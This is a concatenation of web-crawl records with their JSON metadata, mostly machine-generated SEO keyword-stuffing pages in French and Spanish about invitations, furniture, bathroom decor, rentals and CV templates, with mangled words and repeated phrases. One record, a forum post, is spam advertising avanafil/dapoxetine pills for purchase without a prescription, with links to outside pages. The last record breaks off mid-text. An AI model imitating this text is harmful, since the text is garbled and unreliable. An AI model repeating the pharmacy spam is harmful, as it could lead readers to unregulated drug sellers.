garcon.\nidees carte invitation communion fille et communion 86 communion carte invitation premiere communion fille a imprimer gratuit.\ninspirant carte invitation communion fille ou invitation ion pour round a planet 19 invitation communion carte invitation communion garcon.\ndeja carte invitation communion fille et communion part invitation comm 26 communion part carte dinvitation communion garcon gratuit.\nle meilleur de carte invitation communion fille ou invitation pour 5 ans robe en 69 invitation pour 5 ans robe carte invitation communion garcon.\nidee carte invitation communion fille et part communion 42 part communion carte invitation premiere communion fille.\nidees carte invitation communion fille ou communion pastel 72 communion pastel carte invitation communion garcon.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/privatesurfing.info\/carte-invitation-communion-fille\/","date":"2018-11-18T09:43:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744348.50\/warc\/CC-MAIN-20181118093845-20181118115845-00294.warc.gz","language":"ina","language_score":0.3897163272,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.38971632719039917, \"fra_Latn_score\": 0.3290571868419647, \"eng_Latn_score\": 0.08640819042921066, \"wes_Latn_score\": 0.04316418990492821, \"mfe_Latn_score\": 0.03076147846877575, \"sco_Latn_score\": 0.01402243785560131, \"ile_Latn_score\": 0.010965953581035137}","num_words":695,"character_repetition_ratio":0.426,"word_repetition_ratio":0.127,"special_characters_ratio":0.161,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.39,"perplexity_score":16276.4,"cluster_detection":-1} +{"text":"bibliotheque bebe labebe coffre a jouets bibliothaque en bois avec daccoration renard mignon meuble de rangement enfant en roulette bibliotheque roulette bebe.\nbibliotheque bebe bibliotheque bebe ikea.\nbibliotheque bebe animation bibliotheque bebe lecteurs mauges sur loire planning bibliotheque bebe pas cher.\nbibliotheque bebe bibliotheque bebe meuble luxury bibliothaque design coloris blanc chane frany bibliothaque et bibliotheque bebe lyon.\nbibliotheque bebe bibliotheque bebe meuble best of meuble de rangement sur mesure pour bureaux en dacsordre mobibam hi bibliotheque bebe amazon.\nbibliotheque bebe bibliotheque bebe amazing home ideas freetattoosdesign us bibliotheque bebe ikea.\nbibliotheque bebe bibliothaque sur roulettes izi move oxybul bibliotheque bebe ikea.\nbibliotheque bebe bibliotheque bebe meuble luxury bibliotheque enfant meuble myfrdesign full hd wallpaper pictures bibliotheque pour bebe ikea.\nbibliotheque bebe get free high quality hd wallpapers chambre complete bebe fabrication francaise bibliotheque bebe lyon.\nbibliotheque bebe bibliotheque chambre bebe frais offerts fabrication europacenne bibliotheque bibliotheque pour bebe ikea.\nbibliotheque bebe bibliotheque bebe bibliotheque bebe a a motif pour en roue bibliotheque bebe oxybul bibliotheque bebe bibliotheque chambre bibliotheque bebe bibliotheque bebe paris.\nbibliotheque bebe bibliotheque bebe meuble bibliotheque bebe meuble le porte revue un meuble et un objet dacco en bibliotheque bebe bibliotheque bebe amazon.\nbibliotheque bebe bibliotheque bebe meuble unique actagare bibliothaque ligne passe passe vertbaudet high resolution bibliotheque bebe paris.\nbibliotheque bebe bibliothaque blanche chambre enfant bacbac un bibliothaque blanchie qui se marie tras bien avec bibliotheque roulette bebe.\nbibliotheque bebe bibliothaque vintage bleue pour enfant bibliotheque bebe pas cher.\nbibliotheque bebe rangement chambre bebe etagere bibliotheque bibliotheque bebe amazon.\nbibliotheque bebe bibliotheque pour bebe bibliotheque pour chambre bebe bibliotheque bebe pas cher.\nbibliotheque bebe bibliothaque maison de poupace loading zoom bibliotheque roulette bebe.\nbibliotheque bebe bibliotheque enfant conforama bibliotheque bebe bibliotheque en bois pour enfant taupe et blanc 474 x 640 bibliotheque bebe ikea.\nbibliotheque bebe bibliotheque bebe meuble bibliotheque bebe meuble interior design meuble bibliotheque bebe meuble bibliotheque bebe bibliotheque bebe bibliotheque bebe amazon.\nbibliotheque bebe petit coin bibliothaque bibliotheque bebe roulette.\nbibliotheque bebe diy pour racaliser une bibliothaque pour enfants bibliotheque bebe lyon.\nbibliotheque bebe 1 bibliotheque bebe pas cher.\nbibliotheque bebe back to post best of bibliothaque chambre bacbac ideas bibliotheque bebe pas cher.\nbibliotheque bebe meuble de rangement livre meuble rangement livre meuble rangement meuble de rangement livre meuble rangement livre enfant bibliotheque bebe meuble de vertbaudet bibliotheque bebe.\nbibliotheque bebe bibliotheque roulette bebe.\nbibliotheque bebe bibliotheque bebe meuble meuble carton a fabriquer meuble de bibliotheque bebe meuble meuble carton a fabriquer meuble de bibliotheque bebe meuble meuble bibliotheque pour bebe ikea.\nbibliotheque bebe bibliothaque enfant en bois tidy books bibliotheque pour bebe ikea.\nbibliotheque bebe bibliotheque bebe ikea bureau interieur cafe pilat en pilat bibliotheque bebe bibliotheque bebe ikea.\nbibliotheque bebe nouveau bibliothaque oslo boutons gouttes bibliotheque pour bebe ikea.\nbibliotheque bebe bibliothaque pour chambre denfant etagere toile bibliotheque bebe amazon.\nbibliotheque bebe bibliothaque bacbac bibliotheque roulette bebe.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/stockbag.info\/bibliotheque-bebe\/","date":"2018-12-09T23:24:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823228.36\/warc\/CC-MAIN-20181209232026-20181210013526-00057.warc.gz","language":"ina","language_score":0.5065680742,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5065680742263794, \"fra_Latn_score\": 0.19215896725654602, \"lat_Latn_score\": 0.053220976144075394, \"nhg_Latn_score\": 0.04478200525045395, \"por_Latn_score\": 0.04366523027420044, \"alz_Latn_score\": 0.019185693934559822, \"gsw_Latn_score\": 0.015770399942994118, \"eus_Latn_score\": 0.013869761489331722, \"eng_Latn_score\": 0.011215174570679665}","num_words":1165,"character_repetition_ratio":0.393,"word_repetition_ratio":0.341,"special_characters_ratio":0.14,"stopwords_ratio":0.215,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":10978.4,"cluster_detection":-1} +{"text":"le jardin d emile micro creche les jardins demile rennes.\nle jardin d emile emi cb le jardin demile rennes.\nle jardin d emile restaurant le jardin demile cassis.\nle jardin d emile demi restaurant le jardin d emile.\nle jardin d emile emi emi le jardin demile restaurant cassis.\nle jardin d emile le jardin demile rennes.\nle jardin d emile d039emi restaurant le jardin demile cassis.\nle jardin d emile demi creche les jardins demile rennes.\nle jardin d emile emi ami emi jardin demile hotel cassis france.\nle jardin d emile hotel le jardin demile cassis.\nle jardin d emile mes prtge vec employcs le jardin demilie clisson.\nle jardin d emile hotel le jardin demile a cassis 13.\nle jardin d emile jardin demile rennes.\nle jardin d emile crcer centrlitc qurtier hotel le jardin demile a cassis 13.\nle jardin d emile jardin demile restaurant cassis.\nle jardin d emile le jardin demile nursery.\nle jardin d emile le jardin demile bravo.\nle jardin d emile mi creche les jardins demile rennes.\nle jardin d emile le jardin demile cassis france.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/fusionblox.net\/le-jardin-d-emile\/","date":"2018-12-11T20:56:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823702.46\/warc\/CC-MAIN-20181211194359-20181211215859-00257.warc.gz","language":"ina","language_score":0.6506903768,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6506903767585754, \"sot_Latn_score\": 0.08484020829200745, \"fra_Latn_score\": 0.0626300722360611, \"bew_Latn_score\": 0.022266186773777008, \"dag_Latn_score\": 0.0217167716473341, \"bwu_Latn_score\": 0.018566248938441277, \"ajg_Latn_score\": 0.014831742271780968, \"ron_Latn_score\": 0.014356065541505814}","num_words":282,"character_repetition_ratio":0.346,"word_repetition_ratio":0.267,"special_characters_ratio":0.204,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.651,"perplexity_score":6072.5,"cluster_detection":-1} +{"text":"bibliotheque moderne incroyablement moderne on adore la bibliothaque faaon industrielle bibliotheque moderne salon.\nbibliotheque moderne bibliothaque moderne qui intagre le taclacviseur ou la cheminace aussi daccorative que pratique meuble bibliotheque moderne pas cher.\nbibliotheque moderne escalier bibliothaque moderne salon tapis gris fauteuil vert bibliotheque moderne salon.\nbibliotheque moderne peel montracal bibliotheque moderne blanc.\nbibliotheque moderne bibliothaque moderne 076917 bibliotheque moderne murale.\nbibliotheque moderne meuble bibliotheque meuble bibliotheque moderne pas cher.\nbibliotheque moderne medium size of moderne chambre coucher scandinave deco mesure des chere enfant info site but blanc bibliotheque moderne design.\nbibliotheque moderne bibliothaque bibliotheque moderne salon.\nbibliotheque moderne zoom bibliotheque moderne pas cher.\nbibliotheque moderne bibliothaque my home babele bibliotheque moderne pas cher.\nbibliotheque moderne bibliothaque moderne et design pour un rangement avec finesse bibliotheque moderne blanc.\nbibliotheque moderne clav0087g bibliotheque boiserie moderne 4 bibliotheque moderne blanc.\nbibliotheque moderne related post bibliotheque moderne blanc laque.\nbibliotheque moderne bibliotheque moderne design une bibliothaque design pour un salon dacco bibliotheque moderne design bibliotheque moderne bibliotheque moderne ikea.\nbibliotheque moderne bibliothaque saverin moderne salon bibliotheque moderne murale.\nbibliotheque moderne bibliotheque moderne design bibliothaque design moderne bibliothaque bibliotheque moderne design bibliotheque moderne blanche.\nbibliotheque moderne bibliothaque cattelan harlem meuble bibliotheque moderne bois massif.\nbibliotheque moderne bibliothaque moderne et design pour un rangement avec finesse bibliotheque moderne china.\nbibliotheque moderne bibliothaque by dim decoration interieure moderne bibliotheque moderne vitree.\nbibliotheque moderne bibliothaque moderne en medium laquac new helen rideau 2017 font b moderne b font jacquard gris bibliotheque moderne salon.\nbibliotheque moderne bibliothaque moderne couleur noyer et mactal noir raven bibliotheque moderne design.\nbibliotheque moderne pour collection bibliotheque moderne design sign bibliotheque moderne bibliotheque moderne vitree.\nbibliotheque moderne bibliothaque moderne noire encastrace dans le mur et dotace dune acchelle mactallique dans le bibliotheque moderne pas cher.\nbibliotheque moderne bibliothque moderne design beau meubles bibliotheque contemporain bibliotheque moderne pour salon.\nbibliotheque moderne bibliothaque tonin casa osuna meuble bibliotheque moderne pas cher.\nbibliotheque moderne bibliothaque moderne blanche avec cheminace encastrace chaise longue violette et canapac gris bibliotheque moderne blanc laque.\nbibliotheque moderne bibliothaque moderne laquac bibliotheque meuble moderne ikea.\nbibliotheque moderne bibliotheque moderne design white bookcase idea arrange seating mat bibliotheque moderne design bibliotheque moderne bureau a meuble bibliotheque moderne pas cher.\nbibliotheque moderne ensemble meuble tv et bibliotheque 3 biblioth232que moderne ouverte plan en saillie 100 bois meuble bibliotheque moderne pas cher.\nbibliotheque moderne une bibliothaque moderne pour un rangement sous escalier bibliotheque moderne pour salon.\nbibliotheque moderne actagares en bois salon moderne bibliothaque ouverte bibliotheque moderne blanc.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/putlockerfree.pro\/bibliotheque-moderne\/","date":"2018-12-17T04:37:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828318.79\/warc\/CC-MAIN-20181217042727-20181217064727-00609.warc.gz","language":"ina","language_score":0.667211175,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6672111749649048, \"fra_Latn_score\": 0.23881804943084717, \"lat_Latn_score\": 0.03280268609523773, \"enm_Latn_score\": 0.030050674453377724}","num_words":860,"character_repetition_ratio":0.427,"word_repetition_ratio":0.204,"special_characters_ratio":0.136,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":0.667,"perplexity_score":11685.0,"cluster_detection":-1} +{"text":"deco salle de bain moderne photos morne id es d co s deco salle de bain moderne petite aa52.\nidee decoration salle de bain moderne photos morne id es d co s deco douche 2016,decoration salle de bain moderne marron deco noir et blanc petite faience morne photo,deco salle de bain moderne 2016 photos decoration the shopping online morne idee,photos decoration salle de bain moderne ie co morne idee deco 2017,deco salle de bain moderne douche 2017 morne 7 s co idee decoration,deco salle de bain moderne petite best images on decoration marron idee,deco salle de bain moderne chic 2017 s morne douche,deco salle de bain moderne petite decoration cheap scription marron,morne contemporary amazing house deco salle de bain moderne chic idee 2017,decoration petite salle de bain moderne photo la ie co 2017 deco noir et blanc.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-photos-morne-id-es-d-co-s-deco-salle-de-bain-moderne-petite-aa52\/","date":"2019-01-22T14:08:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583857913.57\/warc\/CC-MAIN-20190122140606-20190122162606-00286.warc.gz","language":"ina","language_score":0.6026688814,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6026688814163208, \"fra_Latn_score\": 0.11256460845470428, \"sco_Latn_score\": 0.03835323080420494, \"enm_Latn_score\": 0.024109458550810814, \"eng_Latn_score\": 0.02295622043311596, \"glg_Latn_score\": 0.014296803623437881, \"ile_Latn_score\": 0.014100820757448673, \"nrm_Latn_score\": 0.013963654637336731, \"rmq_Latn_score\": 0.011541211046278477, \"pan_Latn_score\": 0.010486452840268612}","num_words":229,"character_repetition_ratio":0.279,"word_repetition_ratio":0.073,"special_characters_ratio":0.217,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.603,"perplexity_score":6177.3,"cluster_detection":-1} +{"text":"Silencers, SBR, SBS, and destructive devices galore!\nPost Reply\n2 posts • Page 1 of 1\nEntre Aquí Ahora Para Ordenar avanafil dapoxetine Generica En Nuestra Farmacia De Confianza ⇒\navanafil dapoxetina precio queretaro 2018 España\ncomprar avanafil dapoxetina original contrareembolso España\nonde comprar extra super avana mais barato\nextra super avana 200\/60mg precio venta: donde comprar extra super avana venezuela; comprar extra super avana en espana sin receta, como comprar extra super avana no rio de janeiro, comprar extra super avana 200\/60 mg ecuador. extra super avana 200\/60 mg santiago venta. comprar extra super avana 200\/60mg genérico online puede en nuestra farmacia.\ncomprar avanafil dapoxetina 200\/60 mg www\nhttp:\/\/lifestir.net\/blogs\/post\/67905\ncomprar extra super avana por internet foro\nextra super avana generico de venta Estados Unidos\nhttp:\/\/cqa.aaua.edu.ng\/index.php?qa=764 ... il-citrate\ndonde comprar extra super avana generico en andorra\ncomprar extra super avana 200\/60 mg generico alicante\nhttp:\/\/www.poonnet.com\/cgi-bin\/autorank ... etrel100mg\nprecio el extra super avana en mexico\nextra super avana venta en chile\ncompra acido risedronico fiable\ndonde comprar extra super avana avanafil dapoxetine en mexico df\nextra super avana 200\/60mg compra españa: comprar extra super avana en jaen, donde puedo comprar extra super avana en el peru. comprar extra super avana en farmacia sin receta en barcelona.\nordenar ledipasvir y sofosbuvir con seguridad México\nextra super avana venta barcelona\ncomprar extra super avana natural bilbao\ncomprar extra super avana malaga\ncomprar extra super avana natural en herbolarios: extra super avana con receta medica.\ncomprar extra super avana 200\/60mg tlaxcala\nextra super avana generico precio en colombia\nextra super avana 200\/60 mg precio en farmacia en argentina. donde puedo comprar extra super avana sin receta, extra super avana 200\/60mg donde comprar; comprar extra super avana consta 200\/60mg, comprar extra super avana 200\/60 mg iberdrola. extra super avana 200\/60mg ecuador compra. comprar extra super avana internet; comprar extra super avana 200\/60 mg en linea mexico; extra super avana chile santiago venta comprar extra super avana original espana\nhttp:\/\/www.studiomariano.net\/?option=co ... r&id=43782\ncomprar extra super avana 200\/60 mg forma segura\ncomprar extra super avana 200\/60 mg online seguro\npaises donde se puede comprar extra super avana sin receta\nextra super avana chile precio\nhttp:\/\/www.myindiagate.com\/community\/blogs\/post\/250082\ncomprar extra super avana 200\/60mg tienda en línea\ncomprar extra super avana de 200\/60 mg, comprar extra super avana 200\/60mg puebla; extra super avana venta df 2018. donde comprar la extra super avana. extra super avana precio en farmacia. extra super avana gotas precio, extra super avana venta en colombia, extra super avana generico precio chile, extra super avana venta capital federal.onlineshop comprar extra super avana com\ndonde comprar la pastilla avanafil dapoxetina\nhttp:\/\/its4her.com\/date\/blogs\/post\/9303\ncomprar extra super avana barata madrid\ncomprar extra super avana en castellon\ncomprar extra super avana 200\/60mg en capital federal 2018\ncomprar extra super avana en medellin; como comprar um extra super avana na farmacia. se puede comprar extra super avana sin receta en gibraltar. extra super avana se vende sin receta argentina. extra super avana se puede comprar sin receta en farmacias. extra super avana se vende sin receta\ncomprar extra super avana 200\/60 mg natural en valencia, comprar extra super avana 200\/60 mg en linea; comprar extra super avana 200\/60 mg generico en mexico.\nhttp:\/\/soruanaliz.com\/index.php\/1067\/co ... ordonnance\ncomprar extra super avana 200\/60 mg professional online\ncomprar extra super avana farmacias guadalajara\ncomprar extra super avana 200\/60 mg tienda en línea: comprar extra super avana 200\/60mg en el mundo.\nconsigo comprar extra super avana na farmacia\ncomprar extra super avana 200\/60mg herbal natural\nhttp:\/\/snopeczek.hekko.pl\/214867\/olanza ... -buy-dubai\nextra super avana donde comprar en mexico\nordenar acido risedronico 2018\ncomo comprar extra super avana en madrid sin receta\nquiero comprar extra super avana sin receta en lima\ncomprar avanafil dapoxetine 200\/60 mg en concepcion\ncomprar extra super avana 200\/60 mg online chile: extra super avana generico barato. comprar extra super avana 200\/60mg generico avanafil dapoxetine. comprar extra super avana madrid. extra super avana precio queretaro 2018. foro comprar extra super avana en andorra\nextra super avana 200\/60mg venta santiago\ncomprar extra super avana generico online argentina? comprar extra super avana reino unido. donde comprar extra super avana sin receta buenos aires; como comprar extra super avana en una farmacia peru. comprar extra super avana en new york; donde comprar extra super avana femenina en barcelona. comprar extra super avana mercadolibre colombia. comprar extra super avana por internet venta de extra super avana online, comprar extra super avana sin receta buenos aires.extra super avana 200\/60 mg precio venta","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/2atalk.org\/viewtopic.php?f=7&t=998847&p=1035944","date":"2019-02-23T00:56:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249414450.79\/warc\/CC-MAIN-20190223001001-20190223023001-00143.warc.gz","language":"ina","language_score":0.3398679197,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.3398679196834564, \"spa_Latn_score\": 0.22989524900913239, \"ile_Latn_score\": 0.11218932271003723, \"por_Latn_score\": 0.0954674482345581, \"lat_Latn_score\": 0.023292507976293564, \"ido_Latn_score\": 0.022160571068525314, \"oci_Latn_score\": 0.011790381744503975, \"glg_Latn_score\": 0.010813536122441292, \"ron_Latn_score\": 0.010594528168439865, \"eus_Latn_score\": 0.010354861617088318, \"roh_Latn_score\": 0.010195238515734673}","num_words":1450,"character_repetition_ratio":0.361,"word_repetition_ratio":0.058,"special_characters_ratio":0.223,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.347,"perplexity_score":5261.1,"cluster_detection":-1} +{"text":"Le bon coin angouleme location appartement\nSource google image: http:\/\/medias.lesclesdumidi.com\/photos_immo_formats\/451_339\/8987\/8987000_1.jpg\nRelated posts:\nLe bon coin lyon appartement Le bon coin toulouse appartement Le bon coin location 07 Location le bon coin lyon Le bon coin 87 location appartement Le bon coin 87 location appartement Le bon coin 49 location appartement Le bon coin 49 location appartement Le bon coin 49 location appartement Le bon coin 92 location appartement Le bon coin location appartement 78 Le bon coin location appartement lille Location appartement rodez le bon coin Location appartement lunéville le bon coin Location appartement lunéville le bon coin Location appartement rodez le bon coin Le bon coin location appartement reims Le bon coin location appartement nimes Location appartement perpignan le bon coin Le bon coin location appartement angers Le bon coin location appartement montpellier Le bon coin marseille location appartement Bon coin location appartement lyon Location appartement bourges le bon coin Location appartement grenoble le bon coin Location appartement la valette du var le bon coin Le bon coin bordeaux location appartement Location appartement marseille 13008 le bon coin Location appartement saint jean de luz le bon coin Location appartement saint jean de luz le bon coin","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.coursenaturelarbresle.fr\/le-bon-coin-angouleme-location-appartement\/","date":"2019-03-22T01:50:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202589.68\/warc\/CC-MAIN-20190322014319-20190322040319-00318.warc.gz","language":"ina","language_score":0.3316157758,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.33161577582359314, \"tcz_Latn_score\": 0.16946442425251007, \"fra_Latn_score\": 0.1347537785768509, \"mfe_Latn_score\": 0.043839044868946075, \"atj_Latn_score\": 0.03452877327799797, \"gul_Latn_score\": 0.025726400315761566, \"sco_Latn_score\": 0.02432994730770588, \"zom_Latn_score\": 0.02241337113082409, \"oci_Latn_score\": 0.02178034372627735, \"frp_Latn_score\": 0.019131943583488464, \"tsn_Latn_score\": 0.01616218499839306, \"ewo_Latn_score\": 0.013772145844995975, \"bew_Latn_score\": 0.010400213301181793}","num_words":347,"character_repetition_ratio":0.382,"word_repetition_ratio":0.281,"special_characters_ratio":0.188,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":0.307,"perplexity_score":8136.2,"cluster_detection":-1} +{"text":"deco salle de bain moderne coration morne petite deco salle de bain moderne petite ei42.\ndeco salle de bain moderne chic 2017 faience morne 7 ies co decoration petite,deco salle de bain moderne petite best images on decoration marron idee,deco salle de bain moderne petite zen on ration d 2017 photos decoration,idee deco salle de bain moderne personable morne sign for chic decoration petite,idee decoration salle de bain moderne sign com morne deco 2017 2016,deco salle de bain moderne chic 2016 morne 5 noir et blanc,ration s deco salle de bain moderne chic decoration petite noir et blanc,ultra morne photo idee decoration salle de bain moderne deco 2017 douche,decoration petite salle de bain moderne photos design marron,idee decoration salle de bain moderne l petite photos deco 2017.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-coration-morne-petite-deco-salle-de-bain-moderne-petite-ei42\/","date":"2019-03-23T06:11:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202728.21\/warc\/CC-MAIN-20190323060839-20190323082839-00510.warc.gz","language":"ina","language_score":0.5771207809,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5771207809448242, \"fra_Latn_score\": 0.15541252493858337, \"sco_Latn_score\": 0.039652179926633835, \"eng_Latn_score\": 0.03894200548529625, \"enm_Latn_score\": 0.016932979226112366, \"ile_Latn_score\": 0.013507912866771221, \"pan_Latn_score\": 0.010647502727806568}","num_words":209,"character_repetition_ratio":0.288,"word_repetition_ratio":0.03,"special_characters_ratio":0.214,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.577,"perplexity_score":4952.8,"cluster_detection":-1} +{"text":"como hacer mi curriculum vitae pdf ideas curriculum vitae formato pdf mexico with additional formato, como hacer mi curriculum vitae pdf c³mo hacer un curriculum vitae insuperable en 2016 ebook, o hacer un curriculum vitae con publisher como hacer mi curriculum vitae pdf, como hacer mi curriculum vitae pdf 10 claves para elaborar un currculum vitae de arquitecto rompedor, 263 best currculum & carta de presentaci³n images on pinterest como hacer mi curriculum vitae pdf,\nComo Hacer Mi Curriculum Vitae Pdf Ideas Curriculum Vitae formato Pdf Mexico with Additional formato fuente: juzdeco.com\nComo Hacer Mi Curriculum Vitae Pdf C³mo Hacer Un Curriculum Vitae Insuperable En 2016 Ebook fuente: marketingandweb.es\nO Hacer Un Curriculum Vitae Con Publisher Como Hacer Mi Curriculum Vitae Pdf fuente: youtube.com\nComo Hacer Mi Curriculum Vitae Pdf 10 Claves Para Elaborar Un Currculum Vitae De Arquitecto Rompedor fuente: 10endibujo.com\n263 Best Currculum & Carta De Presentaci³n Images On Pinterest Como Hacer Mi Curriculum Vitae Pdf fuente: pinterest.com\nComo Hacer Mi Curriculum Vitae Pdf formato De Curriculum Chile Physic Minimalistics fuente: physic.minimalistics.co\nO Hacer Tu Curriculum Vitae Hoja De Vida Fácil Y Rápido 2018 Como Hacer Mi Curriculum Vitae Pdf fuente: youtube.com\ncomo hacer mi curriculum vitae pdf formato de curriculum chile physic minimalistics, o hacer tu curriculum vitae hoja de vida fácil y rápido 2018 como hacer mi curriculum vitae pdf, como hacer mi curriculum vitae pdf c³mo hacer un curriculum vitae perfecto, c³mo hacer un curriculum vitae insuperable en 2016 ebook como hacer mi curriculum vitae pdf,","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/teleycinema.com\/como-hacer-mi-curriculum-vitae-pdf\/","date":"2019-03-23T22:20:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203093.63\/warc\/CC-MAIN-20190323221914-20190324003914-00094.warc.gz","language":"ina","language_score":0.305085361,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.30508536100387573, \"spa_Latn_score\": 0.290932297706604, \"lat_Latn_score\": 0.14400267601013184, \"sco_Latn_score\": 0.03601585328578949, \"glg_Latn_score\": 0.02242901735007763, \"cbk_Latn_score\": 0.01898777112364769, \"eus_Latn_score\": 0.01480538584291935, \"ast_Latn_score\": 0.012591102160513401, \"arg_Latn_score\": 0.012493588030338287, \"srd_Latn_score\": 0.011670908890664577}","num_words":478,"character_repetition_ratio":0.229,"word_repetition_ratio":0.682,"special_characters_ratio":0.192,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":5376.1,"cluster_detection":-1} +{"text":"deco salle de bain moderne photos morne id es d co s deco salle de bain moderne petite aa52.\nidee decoration salle de bain moderne photos morne id es d co s deco douche 2016,deco salle de bain moderne douche 2017 morne 7 s co idee decoration,deco salle de bain moderne chic 2017 s morne douche,morne contemporary amazing house deco salle de bain moderne chic idee 2017,decoration salle de bain moderne marron deco noir et blanc petite faience morne photo,photos decoration salle de bain moderne ie co morne idee deco 2017,decoration petite salle de bain moderne photo la ie co 2017 deco noir et blanc,deco salle de bain moderne petite best images on decoration marron idee,deco salle de bain moderne 2016 photos decoration the shopping online morne idee,deco salle de bain moderne petite decoration cheap scription marron.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-photos-morne-id-es-d-co-s-deco-salle-de-bain-moderne-petite-aa52\/","date":"2019-03-24T21:03:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203493.88\/warc\/CC-MAIN-20190324210143-20190324232143-00126.warc.gz","language":"ina","language_score":0.5948860645,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.594886064529419, \"fra_Latn_score\": 0.11600659042596817, \"sco_Latn_score\": 0.03827131539583206, \"eng_Latn_score\": 0.024990547448396683, \"enm_Latn_score\": 0.023721786215901375, \"glg_Latn_score\": 0.01477032620459795, \"ile_Latn_score\": 0.012969117611646652, \"nrm_Latn_score\": 0.012334692291915417, \"pan_Latn_score\": 0.012004096992313862, \"rmq_Latn_score\": 0.011156502179801464}","num_words":229,"character_repetition_ratio":0.279,"word_repetition_ratio":0.082,"special_characters_ratio":0.217,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.595,"perplexity_score":6219.0,"cluster_detection":-1} +{"text":"Que datos debe contener un curriculum vitae currculum solicitudes y cartas de presentaci³n occupational. Que datos debe contener un curriculum vitae escribir una biografa de artista agora gallery advice blog. Que datos debe contener un curriculum vitae caractersticas de un curriculum. Que datos debe contener un curriculum vitae c³mo debe ser un cv a partir de los 50 a±os. Que datos debe contener un curriculum vitae cosas que los reclutadores ya no leen en un cv. Currculum ciego ¿una medida capaz de acabar con la discriminaci³n que datos debe contener un curriculum vitae. Qué es un portafolio de proyectos y c³mo se hace que datos debe contener un curriculum vitae.\nQue Datos Debe Contener Un Curriculum Vitae Currculum Solicitudes Y Cartas De Presentaci³n Occupational fuente: bls.gov\nQue Datos Debe Contener Un Curriculum Vitae Escribir Una Biografa De Artista Agora Gallery Advice Blog fuente: agora-gallery.com\nQue Datos Debe Contener Un Curriculum Vitae Caractersticas De Un Curriculum fuente: es.slideshare.net\nQue Datos Debe Contener Un Curriculum Vitae C³mo Debe Ser Un Cv A Partir De Los 50 A±os fuente: forbes.es\nQue Datos Debe Contener Un Curriculum Vitae Cosas Que Los Reclutadores Ya No Leen En Un Cv fuente: occ.com.mx","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/curriculumvt.me\/que-datos-debe-contener-un-curriculum-vitae\/b%C2%9Asqueda-de-trabajo-en-un-sal%C2%93n-de-peluquer%C2%8Da-pdf-que-datos-debe-contener-un-curriculum-vitae\/","date":"2019-04-25T08:08:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578711882.85\/warc\/CC-MAIN-20190425074144-20190425100144-00511.warc.gz","language":"ina","language_score":0.4313966632,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4313966631889343, \"spa_Latn_score\": 0.4007781445980072, \"ast_Latn_score\": 0.052905064076185226, \"arg_Latn_score\": 0.0390847846865654, \"cbk_Latn_score\": 0.016401514410972595, \"glg_Latn_score\": 0.01409117504954338, \"oci_Latn_score\": 0.010661402717232704}","num_words":327,"character_repetition_ratio":0.168,"word_repetition_ratio":0.478,"special_characters_ratio":0.184,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":5379.1,"cluster_detection":-1} +{"text":"Fussballtrikotonlinevertrieb.com\nRobe Mariée 2018\nHome\n»\nDecors à la Maison\n»\nDesign d'Intérieur\n»\nConception Extérieure\n»\nRobe Mariée 2018\ni1\nrobe de mariee 2018 